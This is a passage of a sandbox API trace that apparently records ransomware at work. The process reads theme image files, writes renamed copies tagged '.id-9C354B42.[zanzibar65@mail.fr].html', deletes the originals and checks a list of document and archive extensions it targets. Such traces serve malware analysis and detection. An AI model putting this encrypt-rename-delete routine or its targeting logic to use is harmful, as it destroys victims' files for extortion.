(in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.568] SetEndOfFile (hFile=0x170) returned 1 [0043.568] CloseHandle (hObject=0x170) returned 1 [0043.569] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.569] SetEndOfFile (hFile=0x1f0) returned 1 [0043.569] CloseHandle (hObject=0x1f0) returned 1 [0043.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.570] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0043.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.570] lstrlenW (lpString=".doc") returned 4 [0043.570] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.570] lstrlenW (lpString=".docx") returned 5 [0043.570] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.570] lstrlenW (lpString=".pdf") returned 4 [0043.570] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.570] lstrlenW (lpString=".xls") returned 4 [0043.570] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.570] lstrlenW (lpString=".xlsx") returned 5 [0043.570] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.570] lstrlenW (lpString=".ppt") returned 4 [0043.570] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.570] lstrlenW (lpString=".zip") returned 4 [0043.570] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.570] lstrlenW (lpString=".rar") returned 4 [0043.570] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.570] lstrlenW (lpString=".bz2") returned 4 [0043.570] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.570] lstrlenW (lpString=".7z") returned 3 [0043.570] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.570] lstrlenW (lpString=".dbf") returned 4 [0043.571] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString=".1cd") returned 4 [0043.571] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString=".jpg") returned 4 [0043.571] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString=".doc") returned 4 [0043.571] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.571] lstrlenW (lpString=".docx") returned 5 [0043.571] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.571] lstrlenW (lpString=".pdf") returned 4 [0043.571] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString=".xls") returned 4 [0043.571] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString=".xlsx") returned 5 [0043.571] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.571] lstrlenW (lpString=".ppt") returned 4 [0043.571] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString=".zip") returned 4 [0043.571] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString=".rar") returned 4 [0043.571] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.571] lstrlenW (lpString=".bz2") returned 4 [0043.571] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.571] lstrlenW (lpString=".7z") returned 3 [0043.571] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.571] lstrlenW (lpString=".dbf") returned 4 [0043.571] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.572] lstrlenW (lpString=".1cd") returned 4 [0043.572] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0043.572] lstrlenW (lpString=".jpg") returned 4 [0043.572] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.572] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.572] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.572] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=32403) returned 1 [0043.572] CloseHandle (hObject=0x1f0) returned 1 [0043.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0043.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.572] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.573] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.573] GetLastError () returned 0x0 [0043.573] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x7e93, lpOverlapped=0x0) returned 1 [0043.812] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0043.813] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.813] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.813] SetEndOfFile (hFile=0x170) returned 1 [0043.813] CloseHandle (hObject=0x170) returned 1 [0043.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.814] SetEndOfFile (hFile=0x1f0) returned 1 [0043.814] CloseHandle (hObject=0x1f0) returned 1 [0043.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0043.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.815] lstrlenW (lpString=".doc") returned 4 [0043.815] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.815] lstrlenW (lpString=".docx") returned 5 [0043.815] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.815] lstrlenW (lpString=".pdf") returned 4 [0043.815] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.815] lstrlenW (lpString=".xls") returned 4 [0043.815] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.815] lstrlenW (lpString=".xlsx") returned 5 [0043.815] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.815] lstrlenW (lpString=".ppt") returned 4 [0043.815] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.815] lstrlenW (lpString=".zip") returned 4 [0043.815] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.815] lstrlenW (lpString=".rar") returned 4 [0043.815] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.815] lstrlenW (lpString=".bz2") returned 4 [0043.815] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.815] lstrlenW (lpString=".7z") returned 3 [0043.816] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString=".dbf") returned 4 [0043.816] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString=".1cd") returned 4 [0043.816] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString=".jpg") returned 4 [0043.816] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString=".doc") returned 4 [0043.816] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.816] lstrlenW (lpString=".docx") returned 5 [0043.816] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.816] lstrlenW (lpString=".pdf") returned 4 [0043.816] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.816] lstrlenW (lpString=".xls") returned 4 [0043.816] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.816] lstrlenW (lpString=".xlsx") returned 5 [0043.816] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.816] lstrlenW (lpString=".ppt") returned 4 [0043.816] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.816] lstrlenW (lpString=".zip") returned 4 [0043.816] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.816] lstrlenW (lpString=".rar") returned 4 [0043.816] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.816] lstrlenW (lpString=".bz2") returned 4 [0043.817] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.817] lstrlenW (lpString=".7z") returned 3 [0043.817] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.817] lstrlenW (lpString=".dbf") returned 4 [0043.817] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.817] lstrlenW (lpString=".1cd") returned 4 [0043.817] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0043.817] lstrlenW (lpString=".jpg") returned 4 [0043.817] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.817] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.817] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.817] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1347) returned 1 [0043.817] CloseHandle (hObject=0x1f0) returned 1 [0043.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0043.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.818] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.818] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.935] GetLastError () returned 0x0 [0043.935] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x543, lpOverlapped=0x0) returned 1 [0043.937] WriteFile (in: hFile=0x208, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x550, lpOverlapped=0x0) returned 1 [0043.938] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.938] WriteFile (in: hFile=0x208, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.938] SetEndOfFile (hFile=0x208) returned 1 [0043.938] CloseHandle (hObject=0x208) returned 1 [0043.938] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.938] SetEndOfFile (hFile=0x1f0) returned 1 [0043.939] CloseHandle (hObject=0x1f0) returned 1 [0043.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.939] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString=".doc") returned 4 [0043.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.940] lstrlenW (lpString=".docx") returned 5 [0043.940] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.940] lstrlenW (lpString=".pdf") returned 4 [0043.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.940] lstrlenW (lpString=".xls") returned 4 [0043.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.940] lstrlenW (lpString=".xlsx") returned 5 [0043.940] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.940] lstrlenW (lpString=".ppt") returned 4 [0043.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString=".zip") returned 4 [0043.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.940] lstrlenW (lpString=".rar") returned 4 [0043.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.940] lstrlenW (lpString=".bz2") returned 4 [0043.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.940] lstrlenW (lpString=".7z") returned 3 [0043.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString=".dbf") returned 4 [0043.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString=".1cd") returned 4 [0043.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.940] lstrlenW (lpString=".jpg") returned 4 [0043.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString=".doc") returned 4 [0043.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.941] lstrlenW (lpString=".docx") returned 5 [0043.941] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.941] lstrlenW (lpString=".pdf") returned 4 [0043.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString=".xls") returned 4 [0043.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString=".xlsx") returned 5 [0043.941] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.941] lstrlenW (lpString=".ppt") returned 4 [0043.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString=".zip") returned 4 [0043.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString=".rar") returned 4 [0043.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.941] lstrlenW (lpString=".bz2") returned 4 [0043.941] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.941] lstrlenW (lpString=".7z") returned 3 [0043.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString=".dbf") returned 4 [0043.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString=".1cd") returned 4 [0043.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0043.941] lstrlenW (lpString=".jpg") returned 4 [0043.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.942] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.942] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.942] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5120) returned 1 [0043.942] CloseHandle (hObject=0x1f0) returned 1 [0043.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0043.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.942] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.942] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.944] GetLastError () returned 0x0 [0043.944] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1400, lpOverlapped=0x0) returned 1 [0043.946] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1410, lpOverlapped=0x0) returned 1 [0043.947] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, 